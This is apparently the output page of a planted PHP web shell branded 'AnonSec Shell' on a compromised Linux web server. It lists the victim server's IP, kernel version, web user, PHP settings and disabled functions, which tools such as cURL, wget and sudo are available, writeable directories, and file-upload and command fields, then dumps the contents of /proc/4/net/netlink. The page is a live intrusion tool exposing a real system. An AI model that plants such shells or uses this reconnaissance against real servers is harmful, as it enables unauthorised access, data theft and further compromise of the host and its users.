AnonSec Shell
Server IP : 185.86.78.101  /  Your IP : 216.73.216.124
Web Server : Apache
System : Linux 675867-vds-valikoshka1996.gmhost.pp.ua 5.4.0-150-generic #167-Ubuntu SMP Mon May 15 17:35:05 UTC 2023 x86_64
User : www ( 1000)
PHP Version : 7.4.33
Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /proc/4/net/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /proc/4/net/netlink
sk               Eth Pid        Groups   Rmem     Wmem     Dump  Locks    Drops    Inode
0000000000000000 0   423        00000111 0        0        0     2        0        17814   
0000000000000000 0   418        00000111 0        0        0     2        0        17489   
0000000000000000 0   0          00000000 0        0        0     2        0        1040    
0000000000000000 4   0          00000000 0        0        0     2        0        13261   
0000000000000000 7   0          00000000 0        0        0     2        0        12787   
0000000000000000 9   2652408717 00000000 0        0        0     2        0        14684   
0000000000000000 9   0          00000000 0        0        0     2        0        1041    
0000000000000000 9   1          00000001 0        0        0     2        0        845     
0000000000000000 10  0          00000000 0        0        0     2        0        11360   
0000000000000000 11  0          00000000 0        0        0     2        0        11      
0000000000000000 12  0          00000000 0        0        0     2        0        24779   
0000000000000000 15  466        00000002 0        0        0     2        0        19564   
0000000000000000 15  2574990780 00000002 0        0        0     2        0        19567   
0000000000000000 15  4115121591 00000002 0        0        0     2        0        19565   
0000000000000000 15  0          00000000 0        0        0     2        0        5       
0000000000000000 15  2544770182 00000002 0        0        0     2        0        19566   
0000000000000000 15  1          00000002 0        0        0     2        0        821     
0000000000000000 15  2268399894 00000001 0        0        0     2        0        854     
0000000000000000 16  0          00000000 0        0        0     2        0        18      
0000000000000000 18  0          00000000 0        0        0     2        0        14      

Anon7 - 2022
AnonSec Team